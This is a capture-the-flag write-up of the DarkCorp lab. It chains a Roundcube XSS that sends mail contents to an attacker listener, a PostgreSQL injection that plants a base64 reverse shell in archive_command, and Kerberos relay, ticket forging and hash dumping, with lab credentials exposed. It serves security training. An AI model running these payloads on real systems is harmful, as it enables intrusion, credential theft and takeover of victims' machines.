18 October 2025

DarkCorp

by 0xW1LD

Dark Corp Token

I’d like to dedicate this writeup to my team, OSI, the team has so many talented, creative, and experienced people in cybersecurity and I am forever humbled and grateful to be a part of such an amazing community. I definitely would not have been able to do this box let alone write this writeup without them!

Information Gathering

Enumeration

Nmap

Running a scan we find the following ports open:

1
2
3
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Conducting a service scan and using default scripts on these ports grants the following information:

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE REASON          VERSION
22/tcp open  ssh     syn-ack ttl 127 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 3341ed0aa51a86d0cc2aa62b8d8db2ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPM91a70VJCxg10WFerhkQv207077raOCX9rTMPBeEbHqGHO954XaFtpqjoofHOQWi2syh7IoOV5+APBOoJ60k0=
|   256 04ad7eba110ee0fbd080d324c23e2cc5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHquJFnMIhX9y8Ea87tDtRWPtxThlpE2Y1WxGzsyvQQM
80/tcp open  http    syn-ack ttl 127 nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
| http-methods:
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Drip Website

Attempting to visit the target’s IP we are redirected to http://drip.htb: Pasted image 20250209071204.png

Contact Us

We are able to send a message on the site anonymously:

Pasted image 20250209072652.png

Sign Up

Let’s create an account through the sign up page:

Pasted image 20250209072740.png

Sign In

Redirects us to mail.drip.htb:

Pasted image 20250209072825.png

Mail Website

Logging in we see a mail inbox website:

Pasted image 20250209073024.png

Let’s take note of the support email: support@drip.htb

Looking around we can find that the site is running roundcube mail 1.6.7.

1
2
3
4
5
6
7
8
9
10
Roundcube Webmail 1.6.7

Copyright © 2005-2022, The Roundcube Dev Team

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at%20your%20option) any later version.
Some exceptions for skins & plugins apply.
Installed plugins
Plugin	Version	License	Source
filesystem_attachments	1.0	GPL-3.0+	
jqueryui	1.13.2	GPL-3.0+	

Darkcorp dashboard

http://drip.darkcorp.htb/dashboard seems to be forbidden:

Pasted image 20250209085729.png

Roundcube 1.6.7 CVE 2024-42009

A Cross-Site Scripting vulnerability in Roundcube through 1.6.7 allows a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in message_body() in program/actions/mail/show.php.

Government Emails at Risk: Critical Cross Site Scripting Vulnerability in Roundcube Webmail

Drip Contact Us

Intercepting the request from interacting with the drip contact page, we get the following default POST request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /contact HTTP/1.1
Host: drip.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 380
Origin: http://drip.htb
Connection: keep-alive
Referer: http://drip.htb/index
Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiZDNkZTIxNzFhYTUxMDQ4Yzg1Y2QwNjIwMjU0ZTgzMDFlYzUyMWYzYSJ9.Z6f0aA.HibuNpMa-RBI7zPeoNkRdO38mYM
Upgrade-Insecure-Requests: 1
Priority: u=0, i

name=test&email=test&message=Foo&content=text&recipient=support%40drip.htb

Let’s change the content type from text to html and replace the recepient from support@drip.htb to our account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /contact HTTP/1.1
Host: drip.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 377
Origin: http://drip.htb
Connection: keep-alive
Referer: http://drip.htb/index
Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiZDNkZTIxNzFhYTUxMDQ4Yzg1Y2QwNjIwMjU0ZTgzMDFlYzUyMWYzYSJ9.Z6f0aA.HibuNpMa-RBI7zPeoNkRdO38mYM
Upgrade-Insecure-Requests: 1
Priority: u=0, i

name=test&email=test&message=Foo&content=html&recipient=root%40drip.htb

When sent we receive the following email:

Pasted image 20250209115745.png

Note the email: bcase@drip.htb

Foothold

Developer Dashboard

Utilizing this xss vulnerability through the contact endpoint on the web server, we can create a payload that will make a callback to our machine.

Request Body:

1
name=testname&email=testemail&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.14.48%2F%3Fc%3D%27%2Bdocument.cookie%7D%29%29+foo%3Dbar%22%3E%0D%0AFoo%0D%0A%3C%2Fbody%3E&content=html&recipient=root%40drip.htb

Email:

Pasted image 20250209115745.png

Listener Response:

1
2
3
4
5
6
7
8
Ncat: Connection from 10.10.14.48:50570.
GET /?c= HTTP/1.1
Host: 10.10.14.48
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

Seeing as it successfully conducts a callback, let’s construct a payload that will fetch the contents of inbox messages like so:

1
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch('/?_task=mail&_mbox=INBOX&_uid=1&_action=show').then(r=>r.text()).then(t=>fetch('http://10.10.14.63/',{method:'POST',body:t,mode:'no-cors'})) foo=bar">Foo</body>

Let’s then send our payload to bcase@drip.htb making sure that our content type is html:

1
name=test&email=test%40test.com&message=<body+title%3d"bgcolor%3dfoo"+name%3d"bar+style%3danimation-name%3aprogress-bar-stripes+onanimationstart%3dfetch('/%3f_task%3dmail%26_mbox%3dINBOX%26_uid%3d7%26_action%3dshow').then(r%3d>r.text()).then(t%3d>fetch('http%3a//10.10.14.63/',{method%3a'POST',body%3at,mode%3a'no-cors'}))+foo%3dbar">Foo</body>&content=html&recipient=bcase%40drip.htb

We receive a callback on our listener with the contents of the email with the uid that we provided, in this case: 1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST / HTTP/1.1
Host: 10.10.14.63
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 23178
Origin: null
Connection: keep-alive
Priority: u=4

<!DOCTYPE html>

<html lang="en">

<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>DripMail Webmail :: Customer Information Request</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no, maximum-scale=1.0"><meta name="theme-color" content="#f4f4f4"><meta name="msapplication-navbutton-color" content="#f4f4f4">
        <link rel="shortcut icon" href="skins/elastic/images/favicon.ico?s=1716107237">
        <link rel="stylesheet" href="skins/elastic/deps/bootstrap.min.css?s=1716107245">

                <link rel="stylesheet" href="skins/elastic/styles/styles.min.css?s=1716107237">



                <script>
                try {
                        if (document.cookie.indexOf('colorMode=dark') > -1
                                || (document.cookie.indexOf('colorMode=light') === -1 && window.matchMedia('(prefers-color-scheme: dark)').matches
<SNIP>

We can find the message in <div id="messagebody">:

1
2
cat message.txt | grep "<div id=\"messagebody\".*</div>"           
                                <div id="messagebody"><div class="message-htmlpart" id="message-htmlpart1" style="background-color: foo"><!-- html ignored --><!-- head ignored --><!-- meta ignored -->'<div class="rcmBody" title=" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\&#039;http://10.10.14.63\&#039;) foo=bar">Foo</div>'

Let’s check what other emails are in b.case’s inbox by iterating over the uids.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nc -lvnp 80 | pcregrep -M "<div id=\"messagebody\".*(\n|.)*<\!"
listening on [any] 80 ...
connect to [10.10.14.63] from (UNKNOWN) [10.10.11.54] 64868
                                <div id="messagebody"><div class="message-part" id="message-part1"><div class="pre">Hi bcase,<br>
<br>
Welcome to DripMail! We&#039;re excited to provide you with convenient email solutions! If you need help, please reach out to us at <a href="mailto:support@drip.htb" onclick="return rcmail.command('compose','support@drip.htb',this)">support@drip.htb</a>.<br>
<br>
</div></div></div>
                        </div>
                </div>
        </div>
</div>

<!-- popup menus -->

Creating automation and cleaning up with python we get the following email contents.

1
2
3
4
5
Hi bcase,

Welcome to DripMail! We're excited to provide you with convenient email solutions! If you need help, please reach out to us at
support@drip.htb
.

There are some other interesting emails, this one mentions a site analytics dashboard.

1
2
3
4
5
6
7
8
9
10
Hey Bryce,

The Analytics dashboard is now live. While it's still in development and limited in functionality, it should provide a good starting point for gathering metadata on the
users currently using our service.

You can access the dashboard at dev-a3f1-01.drip.htb. Please note that you'll need to reset your password before logging in.

If you encounter any issues or have feedback, let me know so I can address them promptly.

Thanks

Shell as PostgreSQL

Visiting the dashboard subdomain we find that we’re able to reset our password by providing an email.

Pasted image 20250209100611.png

We can only send a recovery password to bcase@drip.htb.

Pasted image 20250209115253.png

Requesting to recover our password we can find the following email using the xss email read vulnerability.

1
2
3
4
5
6
Your reset token has generated.  Please reset your password within the next 5 minutes.



You may reset your password here:
http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.Z6gGHQ.tEe6eOrbjMpD9bd4wkVYVQdfLyQ

We’re greated by a password reset page.

Pasted image 20250209123704.png

Let’s reset b.case's password so that we can login to the dashboard.

Pasted image 20250209123729.png

Logging in we’re greated with an analytics dashboard on which we can conduct searches.

Pasted image 20250209123752.png

It seems that the search functionality is broken as typing anything into the search bar leads to an error. Pasted image 20250209123911.png

Seems like it treats user input as a column, we can use this to check for columns in the Users table, if we find a column it won’t produce an error:

Pasted image 20250209123957.png

If we take a deeper look into the SQL query we will notice that it treats the input as a column due to the lack of quotes when the search term is placed, we can fix the SQL error with two single quotes('') and we can add onto the query by adding a semi-colon(;).

Pasted image 20250209133412.png

We can grab password hashes using ''; SELECT username,password From "Users" :

Pasted image 20250209133451.png

However after attempting to crack these hashes utilizing password cracking tools such as hashcat and johntheripper, they don’t crack against the rockyou password wordlist.

Let’s check if the current setting is a superuser:

1
2
3
''; SELECT current_setting('is_superuser');

on

Since we are a database superuse we can continue following along with the following article: Postgres SQL Injection to RCE with archive_command

First let’s take a look at our version:

1
2
3
''; SELECT version();

PostgreSQL 15.10 (Debian 15.10-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit

From this, we can determine that the location of postgres.conf is in the following directory:

1
/etc/postgresql/15/main/postgresql.conf

Let’s import that config file into a large object so we can read it.

1
2
3
''; SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

106251

Let’s read the config file using the large object id that was returned in the previous query.

1
2
3
4
5
6
7
''; SELECT encode(lo_get(106251), 'escape')

# -----------------------------
# PostgreSQL configuration file
# -----------------------------
#
<SNIP>

We have successfully exfiltrated the configuration file! We should be able to use a similar process to now write to our configuration file. This is crucial because we want to create an archive_command which runs whenever a WAL is archived.

Let’s create a base64 payload for our archive_command:

1
2
3
echo -n 'bash -i >& /dev/tcp/10.10.14.63/9001 0>&1' | base64

YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvOTAwMSAwPiYx

So our archive_command should look like this:

1
archive_command='echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvOTAwMSAwPiYx | base64 -d | bash'

Let’s then base64 encode this further so that we don’t have any special characters to deal with.

1
2
3
4
echo -n "archive_command='echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvOTAwMSAwPiYx | base64 -d | bash'" | base64

YXJjaGl2ZV9jb21tYW5kPSdlY2hvIFltRnphQ0F0YVNBZ1BpWWdMMlJsZGk5MFkzQXZNVEF1TVRB
dU1UUXVOak12T1RBd01TQXdQaVl4IHwgYmFzZTY0IC1kIHwgYmFzaCc=

We create another large object with our payload using the decode function to convert it once from base64.

1
2
3
''; SELECT lo_from_bytea(42069, decode('YXJjaGl2ZV9jb21tYW5kPSdlY2hvIFltRnphQ0F0YVNBZ1BpWWdMMlJsZGk5MFkzQXZNVEF1TVRBdU1UUXVOak12T1RBd01TQXdQaVl4IHwgYmFzZTY0IC1kIHwgYmFzaCc=','base64'))

42069

We can then export this large object to the configuration file, we should see a 1 return which indicates a success.

1
2
3
''; SELECT lo_export(42069,'/etc/postgresql/15/main/postgresql.conf')

1

Success! Let’s now reload our configuration.

1
2
3
''; SELECT pg_reload_conf()

True

Let’s confirm our archive_command is exactly what we want it to be.

1
2
3
''; SELECT current_setting('archive_command')

echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvOTAwMSAwPiYx | base64 -d | bash

Let’s force a WAL switch which will archive the current WAL executing the archive_command

1
2
3
''; SELECT pg_switch_wal()

0/84327870

We get a callback on our listener!:

1
2
3
4
connect to [10.10.14.63] from (UNKNOWN) [10.10.11.54] 60852
bash: cannot set terminal process group (612): Inappropriate ioctl for device
bash: no job control in this shell
postgres@drip:/var/lib/postgresql/15/main$ 

Just like that we have a foothold!

Drip

Secret Key

Looking in /var/www/html/dashboard we can find a hidden .env file which contains the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated 
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used) 
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=[REDACTED]
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'

Given the database credentials, we’ve found the password for the postgres user.

Backups

Looking in /var/backups we find that postgres has a backups folder

1
drwx------  2 postgres postgres   4096 Feb  5 12:52 postgres

We find dev-dripmail.old.sql.gpg in the backups folder.

Seeing as it’s a gpg file we can extract it using the following command using the password we found earlier:

1
gpg --output dev --decrypt dev-dripmail.old.sql.gpg

In the file we find the following admin credentials:

1
2
3
bcase       dc5[REDACTED] bcase@drip.htb
victor.r    cac[REDACTED] victor.r@drip.htb
ebelford    8bb[REDACTED] ebelford@drip.htb

Running these hashes through hashcat we’re able to recover victor and ebelford’s credentials

Internal Network

We are able to ssh into drip.htb using ebelford's creds:

1
2
3
4
5
6
7
8
9
10
11
12
ssh ebelford@drip.htb
Linux drip 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have no mail.
Last login: Mon Feb 17 14:19:15 2025 from 172.16.20.1
ebelford@drip:~$ 

Internal Scans

Creating a pivot tunnel through the network and transfering a static binary of nmap on ebelford’s host provides the following hosts:

1
2
3
4
5
6
7
8
9
# Nmap 6.49BETA1 scan initiated Sun Feb  9 15:35:42 2025 as: ./nmap -sn -oN internal_hosts.txt 172.16.20.0/24
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for DC-01 (172.16.20.1)
Host is up (0.0019s latency).
Nmap scan report for 172.16.20.2
Host is up (0.0024s latency).
Nmap scan report for drip.darkcorp.htb (172.16.20.3)
Host is up (0.00044s latency).
# Nmap done at Sun Feb  9 15:35:45 2025 -- 256 IP addresses (3%20hosts%20up) scanned in 2.91 seconds

Scanning hosts .1 and .2 we find a Domain Controller, strangely enough with ssh open, and a Windows Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# 172.16.20.1
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos
135/tcp   open  epmap
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd
593/tcp   open  unknown
636/tcp   open  ldaps
2179/tcp  open  unknown
3268/tcp  open  unknown
3269/tcp  open  unknown
5985/tcp  open  unknown
9389/tcp  open  unknown
47001/tcp open  unknown
49197/tcp open  unknown
49412/tcp open  unknown
49417/tcp open  unknown
49420/tcp open  unknown
49448/tcp open  unknown
49467/tcp open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
61400/tcp open  unknown

# 172.16.20.2
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  epmap
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5000/tcp  open  unknown
5985/tcp  open  unknown
47001/tcp open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown

Internal Status Monitor

http://172.16.20.2:5000 is running an HTTP server with ntlm authentication through a basic authentication prompt

Pasted image 20250209172835.png

Utilizing victor’s credentials we manage to login to the dashboard, let’s take a look at the pages.

DASHBOARD:

Pasted image 20250210120016.png

GRAPHS:

Pasted image 20250210120051.png

CHECKSTATUS:

Pasted image 20250210120114.png

The site also has a function to download logs:

Pasted image 20250210120137.png

User

WEB-01

Attempting to alter any requests leads to a 401 unauthorized error, this is due to NTLM 3 step authentication.

To bypass this we can pass our modified requests through using curl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
curl http://172.16.20.2:5000 --ntlm -u 'victor.r:[REDACTED]' -v -I
* Connected to 172.16.20.2 (127.0.0.1) port 5000 (#0)
* Server auth using NTLM with user 'victor.r'
> HEAD / HTTP/1.1
> Host: 172.16.20.2:5000
> Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA=
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
HTTP/1.1 401 Unauthorized
< Content-Length: 341
Content-Length: 341
< Content-Type: text/html; charset=us-ascii
Content-Type: text/html; charset=us-ascii
< Server: Microsoft-HTTPAPI/2.0
Server: Microsoft-HTTPAPI/2.0
< WWW-Authenticate: NTLM TlRMTVNTUAACAAAACAAIADgAAAAGgokCW27LEC3gGLgAAAAAAAAAAJYAlgBAAAAACgB8TwAAAA9EQVJLQ09SUAIAEABkAGEAcgBrAGMAbwByAHAAAQAMAFcARQBCAC0AMAAxAAQAGABkAGEAcgBrAGMAbwByAHAALgBoAHQAYgADACYAVwBFAEIALQAwADEALgBkAGEAcgBrAGMAbwByAHAALgBoAHQAYgAFABgAZABhAHIAawBjAG8AcgBwAC4AaAB0AGIABwAIAOoqxguVe9sBAAAAAA==
<SNIP>

We can then use this to modify the data in the POST request for the status of a host:

1
2
3
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"TEST","port":"TEST_PORT"}' --ntlm -u 'victor.r:[REDACTED]'

{"message":"Invalid input","status":"Error"}

Modifying the host or protocol parameter leads to an invalid input error as seen above.

However modifying the port parameter, we can get the server to query any port:

1
2
3
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"web-01.darkcorp.htb","port":"TEST_PORT"}' --ntlm -u 'victor.r:[REDACTED]'

{"message":"http://web-01.darkcorp.htb:TEST_PORT is unreachable: Failed to parse: http://web-01.darkcorp.htb:TEST_PORT","status":"Error"}

Utilizing our domain credentials, which is victor, we can find out that SVC_ACC, the account running this dashboard, is a DNS admin.

So we can poison the DNS records and force an authentication through kerberos towards our machine to enroll a certificate. Read more about this attack on the following articles:

NTLM certificate enrolment is disabled so we have to result to using krbrelayx which we’ll need a dns record for.

Let’s start by poisoning the DNS record, you can use a variety of tools for this, I used ntlmrelayx as I was given a hint regarding using it.

1
ntlmrelayx -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.14.63

The reason for the long string after the SPN is the client will request a Kerberos ticket from dc-01 but to connect to dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA due to the way these records are handled, which, after poisoning the DNS records, would be our attacker machine. More information about this is found in the blog above Relaying Kerberos

Let’s forward a port we’d like to use, in this case I’m using 9001, from the drip.darkcorp.htb (linux) machine to our attacking machine and force an authentication to trigger the dns record changes.

1
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"drip.darkcorp.htb","port":"9001"}' --ntlm -u 'victor.r:[REDACTED]'

On ntlmrelayx we see a successful relay indicating that the DNS record was successfully triggered.

1
2
3
4
5
6
7
8
[*] HTTPD(80): Connection from 127.0.0.1 controlled, attacking target ldap://172.16.20.1
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldap://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[*] Assuming relayed user has privileges to escalate a user via ACL attack
[*] Checking if domain already has a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` DNS record
[*] Domain does not have a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` record!
[*] Adding `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` pointing to `10.10.11.54` at `DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb`
[*] Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)

Let’s swap over to krbrelayx. Keep in mind that after adding the DNS record, the scripts on the machine will cleanup our record in 2 minutes

You will of course have to kill your ntlmrelayx session to allow krbrelayx to listen on the ports.

1
krbrelayx -t https://dc-01.darkcorp.htb/certsrv/certfnsh.asp --adcs -v WEB-01$

You can then use whatever authentication coercion you’d like, I’m using petitpotam.

1
petitpotam -u victor.r -p '[REDACTED]' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 'web-01.darkcorp.htb'

And we get the following callback on krbrelay:

1
2
3
4
5
6
7
8
9
10
11
[*] SMBD: Received connection from 10.10.11.54
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 10.10.11.54
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Skipping user WEB-01$ since attack was already performed
[*] GOT CERTIFICATE! ID 6
[*] Base64 certificate of user WEB-01$:
MIISZQIBAzCCEh8GCSqGSIb3DQEHAaCCEhAEgh<SNIP>

Let’s put this certificate into a file:

1
echo 'MIISZQIBAzCCEh8GCSqGSIb3DQEHAaCCEhAEgh<SNIP>' > cert.txt

Using this certificate as input we can use PKINITtools to get the TGT of the machine account.

1
2
3
4
5
6
7
8
9
10
11
python3 ../tools/pkinittools/gettgtpkinit.py -pfx-base64 $(cat cert.txt) darkcorp.htb/web-01$ web-01.ccache
2025-02-14 23:50:45,150 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-02-14 23:50:45,518 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-02-14 23:50:45,620 minikerberos INFO     AS-REP encryption key (you%20might%20need this later):
INFO:minikerberos:AS-REP encryption key (you%20might%20need this later):
2025-02-14 23:50:45,620 minikerberos INFO     aa3198cfa4f58ffdcac92d7e699ba482eda32b7e6df3e263ccc391a676582d46
INFO:minikerberos:aa3198cfa4f58ffdcac92d7e699ba482eda32b7e6df3e263ccc391a676582d46
2025-02-14 23:50:45,623 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

Let’s then grab an NT hash because I prefer working with them if I am able to.

1
2
3
4
5
6
7
KRB5CCNAME=web-01.ccache python3 ../tools/pkinittools/getnthash.py darkcorp.htb/web-01$ -key aa3198cfa4f58ffdcac92d7e699ba482eda32b7e6df3e263ccc391a676582d46 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
[REDACTED]

Using our machine account let’s forge an Administrator TGT

1
2
3
4
5
6
7
8
KRB5CCNAME=web-01.ccache impacket-ticketer -nthash [REDACTED] -domain-sid S-1-5-21-3432610366-2163336488-3604236847 -domain darkcorp.htb -spn cifs/web-01.darkcorp.htb Administrator 
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache

Let’s check our ticket’s authentication.

1
2
3
4
5
KRB5CCNAME=Administrator.ccache nxc smb web-01.darkcorp.htb -u Administrator --use-kcache -x whoami
SMB         web-01.darkcorp.htb 445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
SMB         web-01.darkcorp.htb 445    WEB-01           [+] darkcorp.htb\Administrator from ccache (Pwn3d!)
SMB         web-01.darkcorp.htb 445    WEB-01           [+] Executed command via wmiexec
SMB         web-01.darkcorp.htb 445    WEB-01           darkcorp.htb\administrator

We’re now administrator on WEB-01 so let’s dump some hashes.

1
2
3
4
5
6
7
8
9
KRB5CCNAME=Administrator.ccache nxc smb web-01.darkcorp.htb -u Administrator --use-kcache --sam
SMB         web-01.darkcorp.htb 445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
SMB         web-01.darkcorp.htb 445    WEB-01           [+] darkcorp.htb\Administrator from ccache (Pwn3d!)
SMB         web-01.darkcorp.htb 445    WEB-01           [*] Dumping SAM hashes
SMB         web-01.darkcorp.htb 445    WEB-01           Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
SMB         web-01.darkcorp.htb 445    WEB-01           Guest:501:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
SMB         web-01.darkcorp.htb 445    WEB-01           DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
SMB         web-01.darkcorp.htb 445    WEB-01           WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
SMB         web-01.darkcorp.htb 445    WEB-01           [+] Added 4 SAM hashes to the database

Which we can then use to authenticate with winrm:

1
2
3
4
5
6
7
8
9
10
evil-winrm -i web-01.darkcorp.htb -u Administrator -H [REDACTED]      
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

